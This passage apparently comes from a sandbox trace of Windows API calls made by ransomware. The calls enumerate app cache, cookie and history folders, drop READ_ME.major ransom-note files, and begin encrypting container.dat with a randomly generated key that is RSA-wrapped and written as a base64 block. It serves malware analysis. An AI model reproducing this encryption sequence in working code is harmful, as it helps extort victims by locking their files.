ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38bda44e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.346] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe2a1d9f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab3f21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33f60 [0228.347] FindNextFileW (in: hFindFile=0x2f33f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe2a1d9f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab3f21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.347] FindNextFileW (in: hFindFile=0x2f33f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38bda44e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38bda44e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.347] FindNextFileW (in: hFindFile=0x2f33f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38bda44e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38bda44e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.347] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe2a1d9f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab4a84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33c20 [0228.347] FindNextFileW (in: hFindFile=0x2f33c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe2a1d9f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab4a84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.347] FindNextFileW (in: hFindFile=0x2f33c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38bda44e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38bda44e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.347] FindNextFileW (in: hFindFile=0x2f33c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38bda44e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38bda44e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.347] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9776d2f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba0882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33a20 [0228.348] FindNextFileW (in: hFindFile=0x2f33a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9776d2f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba0882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.348] FindNextFileW (in: hFindFile=0x2f33a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38c4cba2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38c4cba2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.348] FindNextFileW (in: hFindFile=0x2f33a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38c4cba2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38c4cba2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.348] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9776d2f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba130d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33ba0 [0228.348] FindNextFileW (in: hFindFile=0x2f33ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9776d2f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba130d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.348] FindNextFileW (in: hFindFile=0x2f33ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38c4cba2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38c4cba2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.348] FindNextFileW (in: hFindFile=0x2f33ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38c4cba2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38c4cba2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.348] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9776d2f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba1b08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33a60 [0228.348] FindNextFileW (in: hFindFile=0x2f33a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9776d2f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba1b08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.349] FindNextFileW (in: hFindFile=0x2f33a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38c4cba2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38c4cba2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.349] FindNextFileW (in: hFindFile=0x2f33a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38c4cba2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38c4cba2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38c4cba2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.349] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x67ede02, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1b57a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33aa0 [0228.349] FindNextFileW (in: hFindFile=0x2f33aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x67ede02, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1b57a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.349] FindNextFileW (in: hFindFile=0x2f33aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38e167b9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38e167b9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.349] FindNextFileW (in: hFindFile=0x2f33aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38e167b9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38e167b9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.349] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x67ede02, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1b98c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33fa0 [0228.349] FindNextFileW (in: hFindFile=0x2f33fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x67ede02, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1b98c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.350] FindNextFileW (in: hFindFile=0x2f33fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38e167b9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38e167b9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.350] FindNextFileW (in: hFindFile=0x2f33fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38e167b9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38e167b9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.350] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x67ede02, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1bda6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33fe0 [0228.350] FindNextFileW (in: hFindFile=0x2f33fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x67ede02, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1bda6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.350] FindNextFileW (in: hFindFile=0x2f33fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38e167b9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38e167b9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.350] FindNextFileW (in: hFindFile=0x2f33fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38e167b9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38e167b9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38e167b9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.350] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x41ee58e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdd9a6b0, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34020 [0228.351] FindNextFileW (in: hFindFile=0x2f34020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x41ee58e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdd9a6b0, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.351] FindNextFileW (in: hFindFile=0x2f34020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x88ced4a1, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x88ced4a1, ftLastAccessTime.dwHighDateTime=0x1d32716, ftLastWriteTime.dwLowDateTime=0x88ced4a1, ftLastWriteTime.dwHighDateTime=0x1d32716, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0228.351] FindNextFileW (in: hFindFile=0x2f34020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39242b13, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39242b13, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.351] FindNextFileW (in: hFindFile=0x2f34020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39242b13, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39242b13, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.352] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.352] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCache\\container.dat", dwFileAttributes=0x80) returned 1 [0228.352] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\ac\\inetcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x197c [0228.353] GetFileSizeEx (in: hFile=0x197c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0228.353] ReadFile (in: hFile=0x197c, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0228.353] SetFilePointer (in: hFile=0x197c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.353] WriteFile (in: hFile=0x197c, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0228.353] SetFilePointer (in: hFile=0x197c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0228.353] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.353] WriteFile (in: hFile=0x197c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.354] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.354] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.355] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.355] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nqWcqaQ5o+/BZuw9yYiV3jOXmCegHjx5WVP61/H3YclG/VOAghhmNmrXWntRwxbd\njiFsbbBsUUd7lYdttBpy/n8LO/AtoVwVTywRtzmBHhxspwPFxUAcOOYdMubdvazq\n6kfEtHo2Q8pq2kgcwW7YxaqAVue1RBb0w/A3cOBcm67zUhYHymq5ypq1QjMQk5oQ\ntzlJxfKwaRllWGKZ3cEUX8sxDxeqLvQbe8UEwO7qJzS9l6y9MxyUl4XsWQoWYrA2\nh1XpvFRHCUvYhW6Pcvn2tE66M4MXvEB+muKiQZtZQ7FlixG7fh28APiGfuKiRtAk\nRaQYk+JM+8FZTNSWPho0Kg==\n", pcchString=0x2e3f9a8) returned 1 [0228.355] WriteFile (in: hFile=0x197c, 